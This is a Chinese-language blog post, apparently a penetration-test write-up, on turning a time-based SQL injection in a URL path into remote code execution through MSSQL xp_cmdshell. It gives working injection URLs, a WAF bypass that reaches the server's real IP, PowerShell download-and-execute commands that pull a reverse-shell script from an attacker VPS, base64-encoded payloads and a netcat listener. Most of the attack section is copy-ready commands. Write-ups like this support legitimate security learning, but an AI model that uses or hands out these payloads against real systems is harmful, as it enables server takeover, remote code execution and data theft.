使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE

简单记录一下我们利用 xp_cmdshell 和 PowerShell 编码命令从 SQL 注入获取 RCE 的发现

1.Burpsuite扫描结果

这一切都始于 Burpsuite 扫描的结果,该结果在 上显示了 SQL 注入警报/download/123/123。它与通常的 SQL 注入不同,因为此 SQLi 注入位于设计用于下载文档的端点的 URL 路径内。

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
SQL 注入 — Burpsuite 警报

在问题详细信息中,Burpsuite 使用了以下基于时间的 SQL 注入负载,应用程序响应时间为 20074 毫秒(20 秒),与仅花费 2327 毫秒(2 秒)的原始请求显着不同。这强烈表明 Web 容易受到基于时间的 SQL 注入的攻击。

waitfor delay'0:0:20' ---> Respons : 20073 milisecond (20 second)

original request ---> 2327 milisecond (2 second)

2. SQLMap(由于WAF而无法工作)

接下来,为了加快证明过程,我们开始尝试使用 SQLMap 来利用它,但没有成功,即使只是检索数据库名称。这表明该网站已受到 Web 应用程序防火墙 (WAF) 的保护。

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
SQLMap 无法转储数据库

与此同时,也因为我们想要尝试尝试绕过其 WAF 之外的替代方案,我们决定手动尝试多个有效负载。

3.使用XP_CMDSHELL

由于目标使用 Microsoft SQL Server,我们尝试使用 xp_cmdshell 执行命令。

xp_cmdshell -> 生成一个 Windows 命令 shell 并传入一个字符串以供执行。任何输出都以文本行的形式返回。 (来源:learn.microsoft.com)

xp_cmdshell是 Microsoft SQL Server 中的一个命令,用于在服务器上执行命令。默认情况下,此功能处于禁用状态

为了确保 xp_cmdshell 已启用并且可以在目标上执行命令,我们尝试针对虚拟专用服务器 (VPS) (165.1.2.123)ping的 IP 执行命令。

Payload:
EXEC xp_cmdshell 'ping 165.1.2.123';--
Injection URL :
https://redacted.com/download/123/123 EXEC xp_cmdshell 'ping%20165.1.2.123';--

URL Decoded :
 https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'ping%20165.1.2.123'%3b--

在我们的 VPS 上,我们转储网络数据包,用于tcpdump 检测 eth0 接口上任何传入的 Ping 请求 (ICMP)。-i eth0

tcpdump -i eth0 -icmp
使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
传入 ICMP 请求 (ping) — TCPdump

是的!xp_cmdshell成功在目标上执行 ping 命令。根据tcpdump 上面的结果,我们还获得了目标的真实IP地址redacted.com,即152.xxx.xxx.xxx

4. 使用真实IP绕过WAF

事先,SQLMap检测到目标网站前面可能存在WAF。我们通过 ping 确认了这一点redacted.com,发现 ping 被重定向到前缀为 WAF 的子域 ->waf123.redacted.com

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
Ping 到 redacted.com -> waf123.redacted.com

因此,为了绕过该 WAF,我们可以通过在笔记本电脑上编辑文件来将redacted.com 域直接定向到其原始 IP 地址。在 Windows 上,它通常位于152.xxx.xxx.xxx hosts C:/Windows/System32/drivers/etc/hosts

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
将 IP 和域 redacted.com 添加到 Hosts 文件

然后我们再次尝试 ping,以确保redacted.com绕过 WAF,直接通过其原始 IP 地址进行访问。从那时起,连接就redacted.com直接定向到 IP 152.xxx.xxx.xxx

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
直接 Ping redacted.com -> 真实 IP

5. 传送shell.ps1时的障碍

下一步,我们尝试利用此 SQL 注入来获取反向 shell。首先,我们准备了一个 PowerShell 文件 (.ps1),它将执行命令来建立与侦听器(反向 shell)的连接。我们使用shell.ps1从以下位置获得的powershell-reverse-shell.ps1

PowerShell-reverse-shell/powershell-reverse-shell.ps1 at main · martinsohn/PowerShell-reverse-shell

在 PowerShell 中反转 TCP shell 以获得乐趣。于 2020 年春季制作,灵感来自(以及一些修复)……

github.com

将侦听器 IP 和侦听器端口更改为165.1.2.123port 上的我们的 VPS IP 地址4447。然后我们将其托管shell.ps1在我们的 VPS Web 服务器上。

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
修改shell.ps1上的监听IP和端口

让我们在端口上设置监听器4447

nc -nlvp 4447

接下来,我们需要在目标上运行命令来下载shell.ps1文件,然后执行它。因此,我们在 上运行了以下命令xp_cmdshell

powershell.exe -c iwr -Uri "http://165.1.2.123/shell.ps1" 

然而,我们遇到的障碍是注入位置在URL内,所以我们无法在执行的命令中输入斜杠xp_cmdshell。每个斜杠/都会被检测为路径的一部分。因此,注射失败。编码形式的斜杠也是如此,例如%2F.

在这个问题上苦苦挣扎了一段时间但仍未找到成功的解决方案后,我们尝试了多种方法。例如,我们尝试将shell.ps1其作为索引放置在我们的 VPS Web 服务器上,因此我们不需要斜杠 (/) 来下载它。但是,这种方法失败了,因为将其保存在服务器上的可写位置仍然需要斜杠(在 C:/Windows/TEMP/ 中)。我们还尝试了各种其他方法。

最终,在休息了一段时间后,Biidznillah,我想起了在准备 OSCP 考试的实验室练习中学到的东西。是的,我们可以以编码形式执行PowerShell命令

6. Powershell编码命令

我们可以使用 powershell-e选项以编码形式在 PowerShell 中运行命令。Powershell编码器可以通过以下链接访问:

GitHub 和 BitBucket HTML 预览

编辑描述

htmlpreview.github.io

我们最初尝试运行的命令如下,但没有成功。

## 执行远程脚本
"IEX(New-Object System.Net.WebClient).DownloadString('http://165.1.2.123/shell.ps1')

上面的命令用于远程访问字符串,然后PowerShell将直接执行它。我们多次成功地与目标建立了 shell 连接,但几乎所有连接都不稳定,因为它们仍然依赖于 Web 服务器中的会话(因为注入是通过 URL 进行的),从而导致“504 Gateway Timeout”错误,并且shell 已断开连接,根本无法在服务器上执行任何命令。

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
504 网关超时,shell 不工作

因此,我们将命令分为两部分:

  1. 下载shell.ps1并将其保存到可写路径,在 Windows 上为C:/Windows/TEMP/.
  2. 执行命令来运行shell.ps1

所以,我们执行的最终有效负载如下:

##下载 shell 并保存到 TEMP
iwr -Uri "http://165.1.2.123/shell.ps1" -OutFile "$env:TEMPshell.ps1"; 

## 执行 shell
iex "$env:TEMPshell.ps1"

解释,第一部分:

  • iwr:这是 PowerShell 中 Invoke-WebRequest cmdlet 的简写别名。它用于向 Web 服务器发送 HTTP 和 HTTPS 请求并下载内容。
  • -Uri “http://165.1.2.123/shell.ps1":指定要下载的资源的统一资源标识符(URI)。在本例中,它是位于指定 URL 的 PowerShell 脚本。
  • -OutFile “$env:TEMPshell.ps1”:指定下载内容的保存路径。
  • $env:TEMP 是Windows中的一个环境变量,指向当前用户的临时目录。下载的脚本将以文件名 shell.ps1 保存在该目录中。

第二部分:

  • iexInvoke-Expression :这是PowerShell 中 cmdlet的简写别名。它用于运行存储在变量或字符串中的 PowerShell 命令或脚本。
  • “$env:TEMPshell.ps1”:这引用了先前下载的 PowerShell 脚本存储在临时目录中的路径($env:TEMP)。它指定脚本文件的位置shell.ps1

然后我们使用 PowerShell EncodedCommand 工具对命令进行编码。

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
编码命令

因此,命令变为:

# 下载 shell
EXEC xp_cmdshell 'powershell -e aQB3AHIAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEANgA1AC4AMQAuADIALgAxADIAMwAvAHMAaABlAGwAbAAuAHAAcwAxACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA7AA==';--

# 执行shell 
EXEC xp_cmdshell 'powershell -e aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA=';--

在执行下载的 shell 之前设置监听器

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
端口 4447 上的侦听器

然后运行注入有效负载来执行下载的shell.ps1 .带有注入命令的完整 URL 如下所示:

https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'powershell.exe%20-e%20aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA='%3b--

拿到shell了!

使用 xp_cmdshell 将基于时间的 SQL 注入升级为 RCE
反弹shell
© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容